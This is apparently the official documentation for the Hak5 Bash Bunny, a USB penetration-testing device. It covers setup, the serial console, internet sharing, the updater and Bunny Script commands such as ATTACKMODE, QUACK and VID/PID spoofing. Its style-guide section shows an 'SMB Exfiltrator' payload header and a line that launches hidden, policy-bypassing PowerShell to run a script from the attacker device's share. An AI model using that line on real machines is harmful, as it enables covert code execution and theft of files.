Quick Links


Most community contributed payloads are hosted from the centralized library on the Hak5 git repository.


The Hak5 forums are home to community support, payload development and general Bash Bunny discussion.

Bash Bunny Basics

Switch positions

In Switch Position 3 (closest to the USB plug) the Bash Bunny will boot into arming mode, enabling both Serial and Mass Stoage. From this dedicated mode, Bash Bunny payloads may be managed via Mass Storage and the Linux shell can be accessed by the Serial console.

Mass Storage Directory Structure

  • /docs – home to documentation.
  • /languages – install additional HID Keyboard layouts/languages.
  • /loot – used by payloads to store logs and other data
  • /tools – used to install additional deb packages and other tools.
  • /payloads – home to active payloads, library and extensions
  • /payloads/switch1 and /payloads/switch2 – home to payload.txt and accompanying files which will be executed on boot when the bash bunny switch is in the corresponding position.
  • /payloads/library – home to the payloads library which can be downloaded from the Bash Bunny Payload git repository
  • /payloads/library/extensions – home to Bunny Script extensions

Default Settings

  • Username: root
  • Password: hak5bunny
  • IP Address:
  • DHCP Range:

What are the basics LED status indications

LED Status
Green (blinking) Booting up
Blue (blinking) Arming Mode
Red (blinking) Recovery Mode or Firmware Flashing from v1.0 DO NOT UNPLUG
Red/Blue Alternating Recovery Mode or Firmware Flashing from v1.1+ DO NOT UNPLUG

Installing and using additional tools

While many tools can be installed to the Bash Bunny as you would any typical Debian based Linux computer, such as apt-getgit clone, a dedicated tools folder from the mass storage partition simplifies the process. Accessible from arming mode, tools in either .deb format or entire directories can be easily copied to /tools on the root of the mass storage partition. Then on the next boot of the Bash Bunny in Arming mode, these tools will be installed – indicated by LED SETUP (Solid Magenta light).

On boot into arming mode, any .deb file placed in the tools folder will be installed with dpkg. Then any remaining file or directory will be moved to /tools on the root file system.

Some payloads may require additional third party tools. For example, the rdp_checker payload requires impacket to be located in /tools/impacket. This can be installed by copying either the impacket directory or an impacket.deb file to the /tools directory and booting into arming mode. The rdp_checker payload also makes use of the REQUIRETOOL Bunny Script extension, which checks for the existence of this tool and exits with a red blinking FAIL LED state if the tool is not found.

A list of pre-compiled tools is available from this forum thread.

Installing and using additional languages

Bash Bunny payloads can execute keystroke injection attacks similar to the USB Rubber Ducky by using the HID ATTACKMODE. By default this mode uses a US keyboard layout. Additional keyboard layouts may be developed by the community. Installing additional keyboard layouts is similar to use of the tools folder on the root of the USB mass storage partition. On bootup into arming mode, any two-letter-country-code.json file located in the /languages folder on the root of the USB mass storage partition will be installed. The file will remain in /languages after installation.

With a new language file installed, one may specify the keyboard layout from a payload by using the DUCKY_LANG extension. This extension accepts a two letter country code.



Note: If using the Bash Bunny updater, all available languages are automatically installed.


Serial Console

Serial console settings

The Bash Bunny features a dedicated serial console from its arming mode. From serial, its Linux shell may be accessed.

Serial Settings

  • 115200/8N1
  • Baud: 115200
  • Data Bits: 8
  • Parity Bit: No
  • Stop Bit: 1

Connecting to the serial console from Windows

Find the COM# from Device Manager > Ports (COM & LPT) and look for USB Serial Device (COM#). Example: COM3
Alternatively, run the following powershell command to list ports:


Open PuTTY and select Serial. Enter COM# for serial line and 115200 for Speed. Click Open.

Download PuTTY

Connecting to the serial console from Linux/Mac

  1. Find the Bash Bunny device from the terminal
    ls /dev/tty*" or "dmesg | grep tty
    Usually on a Linux host, the Bash Bunny will register as either /dev/ttyUSB0 or /dev/ttyACM0. On an OSX/macOS host, the Bash Bunny will register as /dev/tty.usbmodemch000001.
  2. Next, connect to the serial device using screen, minicom or your terminal emulator of choice.
    If screen is not installed it can usually be found from your distributions package manager.
    sudo apt-get install screen
    Connecting with screen
    sudo screen /dev/ttyACM0 115200
    Disconnect with keyboard combo: CTRL+a followed by CTRL+\


Internet Connection

Getting the Bash Bunny online

Getting the Bash Bunny online can be convenient for a number of reasons, such as installing software with apt or git. Similar to the WiFi Pineapple, the host computers Internet connection can be shared with the Bash Bunny. Begin by setting the Bash Bunny to Ethernet mode. For Windows hosts, you’ll want to boot the bash bunny with a payload.txt containing ATTACKMODE RNDIS_ETHERNET On a Linux host you’ll most likely want ATTACKMODE ECM_ETHERNET. With the Bash Bunny booted and registering on your host computer as an Ethernet device, you can now share its Internet connection.

Sharing an Internet connection from Windows

  1. Configure a payload.txt for ATTACKMODE RNDIS_ETHERNET
  2. Boot Bash Bunny from RNDIS_ETHERNET configured payload on the host Windows PC
  3. Open Control Panel > Network Connections (Start > Run > “ncpa.cpl” > Enter)
  4. Identify Bash Bunny interface. Device name: “USB Ethernet/RNDIS Gadget”
  5. Right-click Internet interface (e.g. Wi-Fi) and click Properties.
  6. From the Sharing tab, check “Allow other network users to connect through this computer’s Internet connection”, select the Bash Bunny from the Home networking connection list (e.g. Ethernet 2) and click OK.
  7. Right-click Bash Bunny interface (e.g. Ethenet 2) and click Properties.
  8. Select TCP/IPv4 and click Properties.
  9. Set the IP address to Leave Subnet mask as and click OK on both properties windows. Internet Connection Sharing is complete

Sharing an Internet connection from Linux

  1. Download the Internet Connection Sharing script from bashbunny.com/bb.sh
  2. Run the bb.sh connection script with bash as root
  3. Follow the [M]anual or [G]uided setup to configure iptables and routing
  4. Save settings for future sessions and [C]onnect
wget bashbunny.com/bb.sh
sudo bash ./bb.sh

Sharing an Internet connection from OSX

  1. Configure a payload.txt for ATTACKMODE RNDIS_ETHERNET STORAGE
  2. Boot Bash Bunny from RNDIS_ETHERNET configured payload
  3. Open a terminal on the OSX host. Install Macports if you don’t have it installed already. http://macports.org
  4. Install and set up Squid on the OSX host:
    sudo port install squid
    sudo squid -Z
    sudo squid
  5. You will now have an open (!!) proxy running on all interfaces of your host. If you are not in a trusted environment, limit the interface in the squid.conf file.
  6. SSH to the bash bunny
    ssh [email protected]
  7. Set up the proxy server using environment variables.
    export http_proxy=   <-- change the IP address to match the host IP if needed
  8. Your bash bunny should now be on-line.
    apt-get update; apt-get upgrade


Updating your Bash Bunny

From time to time Hak5 releases firmware updates for the Bash Bunny including new features, bug fixes and security improvements. The easiest way to install these is with the Bash Bunny updater.

Available for Windows, Mac and Linux – this utility will automatically update your Bash Bunny to the latest software version.

The payload library on the Bash Bunny can also be kept up to date using this tool. When the updater runs it will not only check for firmware updates (and updates to the utility itself), it will also synchronize your copy of the /payloads/library folder with the official repository. Additionally it will update any available language files.

Download the Bash Bunny Updater

Start by downloading the Bash Bunny updater for your host OS – Windows 32/64, Linux 32/64 and Mac versions are available. Connect your Bash Bunny to your computer in arming mode. Extract the contents of the downloaded ZIP file to the root of the Bash Bunny’s flash storage.

For example, on Windows if the Bash Bunny is located at d:\ it should now contain the file d:\bunnyupdater.exe

  • Mac OSX – SHA256: cbd42d59d338dce27b37faf1580b5aab817769aae023515bc0fd0513009fca2c  
  • Windows 32 bit – SHA256: a617a2e8b62adafaa2b1b96fe2b4cf5f27a6429ddeb052b6f6207c7143752a9b  
  • Windows 64 bit – SHA256: a617a2e8b62adafaa2b1b96fe2b4cf5f27a6429ddeb052b6f6207c7143752a9b  
  • Linux 32 bit  – SHA256: cbd42d59d338dce27b37faf1580b5aab817769aae023515bc0fd0513009fca2c  
  • Linux 64 bit – SHA256: d20e63789fca2a2c2ba26a707d8d8e8807bbbeec0c6fba19e46e3ac2bfd95e66  

Run the Bash Bunny Updater on Windows

From Windows Explorer with your Bash Bunny connected in arming mode, browse to its flash storage, then double-click the bunnyupdater program. Follow the instructions on screen.

Run the Bash Bunny Updater on Mac OSX

From OSX Finder, with your Bash Bunny connected in arming mode, browse to its flash storage then double-click the BunnyUpdater app.

Run the Bash Bunny Updater on Linux

Running the Bash Bunny updater from Linux is a little tricker than Windows/OSX as you can’t just double-click the file, but if you’re comfortable in the command prompt it should be pretty natural and straightforward.

For the most part, running bunnyupdater from the Bash Bunny’s FAT32-based USB flash disk is not recommended. To run the bunnyupdater from your local Linux computer, the path to the Bash Bunny flash disk must be supplied as a variable.

Bash Bunny Updater Usage

When the Bash Bunny Updater runs it will first prompt you to initiate the update. This tool requires an Internet connection and will initiate downloads from Hak5 servers. It will first check for updates to itself, followed by firmware updates and finally payload updates. After each update completes the tool exit. This means in the case that a firmware update is available, that update will be applied to the Bash Bunny and require a reboot of the device. Following the firmware update, the Bash Bunny updater may be run again to update the payloads.

Payload Development

Payload development basics

Bash Bunny payloads can be written in any standard text editor, such as notepad, vi or nano.

Payloads must be named payload.txt. When the Bash Bunny boots with its switch in position 1 or 2, the payload.txt file from the corresponding switch folder is executed.

Payloads can be swapped by copy/paste when the Bash Bunny is in its arming mode (switch position 3 – closest to the USB plug) via Mass Storage.

Bunny Script

Bunny Script is a language consisting of a number of simple commands specific to the Bash Bunny hardware, some bunny helper functions and the full power of the Bash Unix shell and command language. Theses payloads, named payload.txt, execute on boot by the Bash Bunny.

The Bunny Helpers can be sourced which extend the bunny scripting language with user contributed functions and variables which enhance and simplify payloads. All Bunny Script commands are written in ALL CAPS. The base Bunny Script commands are:

COMMAND Description
ATTACKMODE Specifies the USB device or combination of devices to emulate.
LED Control the RGB LED. Accepts color and pattern or payload state.
QUACK Injects keystrokes (ducky script) or specified ducky script file.
Q Alias for QUACK
DUCKY_LANG Set the HID Kayboard language. e.g: DUCKY_LANG us


Extensions which augment the bunny scripting language with new commands and functions. For each payload.txt run, extensions are sourced automatically. Calling the function names of any extension will produce the desired result. Extensions reside in the payload library on the USB mass storage partition from /payloads/library/extensions.

Example Extensions

This table is provides a non-exhaustive list of basic usage for some extensions. Additional extension documentation can be found from the comments within each individual extension script file in /payload/library/extensions.

COMMAND Description Example
RUN Keystroke injection shortcut for mutli-OS command execution. RUN WIN notepad.exe
RUN OSX terminal
GET Exports system variables GET TARGET_IP # exports $TARGET_IP
GET HOST_IP # exports $HOST_IP
REQUIRETOOL Exits payload with LED FAIL state if the specified tool is not found in /tools REQUIRETOOL impacket
DUCKY_LANG Accepts two letter country code to set the HID injection language for subsequent ducky script / QUACK commands DUCKY_LANG us

NOTE: Extensions replaced bunny_helpers.sh from Bash Bunny firmware version 1.1 onwards.



ATTACKMODE is a bunny script command which specifies which devices to emulate. The ATTACKMODE command may be issued multiple times within a given payload. For example, a payload may begin by emulating Ethernet, then switch to emulating a keyboard and serial later based on a number of conditions.

ATTACKMODE Type Description
SERIAL ACM – Abstract Control Model Serial Console
ECM_ETHERNET ECM – Ethernet Control Model Linux/Mac/Android Ethernet Adapter
RNDIS_ETHERNET RNDIS – Remote Network Drv Int Spec Windows (and some Linux) Ethernet Adapter
STORAGE UMS – USB Mass Storage Flash Drive
HID HID – Human Interface Device Keyboard – Keystroke Injection via Ducky Script

Many combinations of attack modes are possible, however some are not. For exmaple, ATTACKMODE HID STORAGE ECM_ETHERNET is valid while ATTACKMODE RNDIS_ETHERNET ECM_ETHERNET STORAGE SERIAL is not. Each attack mode combination registers using a different USB VID/PID (Vendor ID/Product ID) by default. VID and PID can be spoofed using the VID and PID commands.

HID 0xF000/0xFF01
STORAGE 0xF000/0xFF10
SERIAL 0xF000/0xFF11
HID SERIAL 0xF000/0xFF14


The multi-color RGB LED status indicator on the Bash Bunny may be set using the LED command. It accepts either a combination of color and pattern, or a common payload state.

LED Colors

COMMAND Description
R Red
G Green
B Blue
Y Yellow (AKA as Amber)
C Cyan (AKA Light Blue)
M Magenta (AKA Violet or Purple)
W White

LED Patterns

PATTERN Description
SOLID Default No blink. Used if pattern argument is ommitted
SLOW Symmetric 1000ms ON, 1000ms OFF, repeating
FAST Symmetric 100ms ON, 100ms OFF, repeating
VERYFAST Symmetric 10ms ON, 10ms OFF, repeating
SINGLE 1 100ms blink(s) ON followed by 1 second OFF, repeating
DOUBLE 2 100ms blink(s) ON followed by 1 second OFF, repeating
TRIPLE 3 100ms blink(s) ON followed by 1 second OFF, repeating
QUAD 4 100ms blink(s) ON followed by 1 second OFF, repeating
QUIN 5 100ms blink(s) ON followed by 1 second OFF, repeating
ISINGLE 1 100ms blink(s) OFF followed by 1 second ON, repeating
IDOUBLE 2 100ms blink(s) OFF followed by 1 second ON, repeating
ITRIPLE 3 100ms blink(s) OFF followed by 1 second ON, repeating
IQUAD 4 100ms blink(s) OFF followed by 1 second ON, repeating
IQUIN 5 100ms blink(s) OFF followed by 1 second ON, repeating
SUCCESS 1000ms VERYFAST blink followed by SOLID
1-10000 Custom value in ms for continuous symmetric blinking

LED State

These standardized LED States may be used to indicate common payload status. The basic LED states include SETUPFAILATTACKCLEANUP and FINISH. Payload developers are encouraged to use these common payload states. Additional states including multi-staged attack patterns are shown in the table below.

SETUP M SOLID Magenta solid
FAIL R SLOW Red slow blink
FAIL1 R SLOW Red slow blink
FAIL2 R FAST Red fast blink
FAIL3 R VERYFAST Red very fast blink
ATTACK Y SINGLE Yellow single blink
STAGE1 Y SINGLE Yellow single blink
STAGE2 Y DOUBLE Yellow double blink
STAGE3 Y TRIPLE Yellow triple blink
STAGE4 Y QUAD Yellow quadruple blink
STAGE5 Y QUIN Yellow quintuple blink
SPECIAL C ISINGLE Cyan inverted single blink
SPECIAL1 C ISINGLE Cyan inverted single blink
SPECIAL2 C IDOUBLE Cyan inverted double blink
SPECIAL3 C ITRIPLE Cyan inverted triple blink
SPECIAL4 C IQUAD Cyan inverted quadriple blink
SPECIAL5 C IQUIN Cyan inverted quintuple blink
CLEANUP W FAST White fast blink
FINISH G SUCCESS Green 1000ms VERYFAST blink followed by SOLID


LED M 500


The Bash Bunny is compatible with Ducky Script text files from its sister Hak5 project, the USB Rubber Ducky. These text files do not need to be encoded into inject.bin files first. Keystrokes can be injected from ducky script text files or inline using the QUACK command. The ATTACKMODE must contain HID for keystroke injection.

See the Ducky Script – USB Rubber Ducky Wiki for the complete scripting language.


QUACK switch1/helloworld.txt

Injects keystrokes from the specified ducky script text file.


Injects the keystrokes “Hello World”


Injects the keystroke combination of ALT and F4



USB devices identify themselves by combinations of vendor ID and product ID. These 16-bit IDs are specified in hex and are used by the victim PC to find drivers (if necessary) for the specified device. With the Bash Bunny, the VID and PID may be spoofed using the VID and PID parameters for ATTACKMODE.



Payload Best Practices / Style Guide

  • Payloads should begin with comments specifing the name of the payload, a description, the author(s), any special requirements/dependencies, target, category, attackmodes and the LED status.
# Title:         Faster SMB Exfiltrator
# Description:   Exfiltrates files from users documents folder to Bash Bunny via SMB
# Author:        Hak5Darren
# Props:         ImNatho, mike111b, madbuda
# Version:       1.1
# Category:      Exfiltration
# Target:        Windows XP SP3+ (Powershell)
# Attackmodes:   HID, Ethernet
  • Configurable options should be specified in variables at the top of the payload.txt file
    # Options
    RESPONDER_OPTIONS="-w -r -d -P"
  • LED should use common payload states rather than unique color/pattern combinations when possible.
  • The LED command should preceed the ATTACKMODE command for various stages
  • Stages should be documented with comments
    ######## HID STAGE ########
    # Runs hidden powershell which executes \\\s\s.ps1 when available
    RUN WIN "powershell -WindowStyle Hidden -Exec Bypass \"while (\$true) { If (Test-Connection $HOST_IP -count 1) { \\\\$HOST_IP\\s\\s.ps1; exit } }\""
  • Common payload states include a SETUP, with may include a FAIL if certain conditions are not met.
  • This is typically followed by either a single ATTACK or multiple STAGEs.
  • More complex payloads may include a SPECIAL function to wait until certain conditions are met.
  • Payloads commonly end with a CLEANUP phase, such as moving and deleting files or stopping services.
  • When the payload has FINISHed, the Bash Bunny is safe to eject.
  • These common payload states correspond to LED states.

Working with the file system

The Bash Bunny contains a USB Mass Storage parition (also known as udisk) which is typically accessed via Arming Mode. This is the Bash Bunny flash drive to which payloads are copied.

When the Bash Bunny framework executes a payload, it will synchronize the USB Mass Storage partition file system once the payload completes. This can be either by an exit statement in the payload.txt, or when the Bunny Script reaches the end of file.

Keep this in mind as a payload which writes files to the USB Mass Storage partition within a loop will not have the opportunity to synchronize until the payload completes. This is why ending payloads with an LED FINISH command is advised. In this case, the payload developer is advised to use the sync command to ensure file synchronization is completed.

Submitting payloads

Payloads may be submitted to the Bash Bunny Payload git repository. For a video tutorial on submitting payloads, see Hak5 episode 2126.


Community Support

Hak5 Gear is more than just hardware or software — it’s home to a helpful community of creative penetration testers and IT professionals. Welcome!

The forums are a great place to share feedback and ideas. You’ll also find community support and discussion as well as modules, payloads, tutorials and software releases. Be sure to use the search feature to find answers to common questions.

Looking for something a little more informal? The IRC channel is home to a passionate group of Hak5 enthusiasts. Join us on irc.hak5.org.

Please be aware that views expressed by community members are not those of Hak5 LLC.



Many payloads are hosted from the centralized library on the Hak5 git repository at github.com/hak5/bashbunny-payloads. Payloads from this repository are contributed from the Bash Bunny community. As with any script downloaded from the Internet, you are advised to proceed with caution. Similarly, many community developed tools exist for working with the Bash Bunny, such as BunnyToolkit.com.

WARNING: Community payloads come with absolutely no warranty. You are solely responsible for the outcome of their execution.



The Bash Bunny Wiki is brought to you by Hak5 and many other community members and can be found at wiki.bashbunny.com.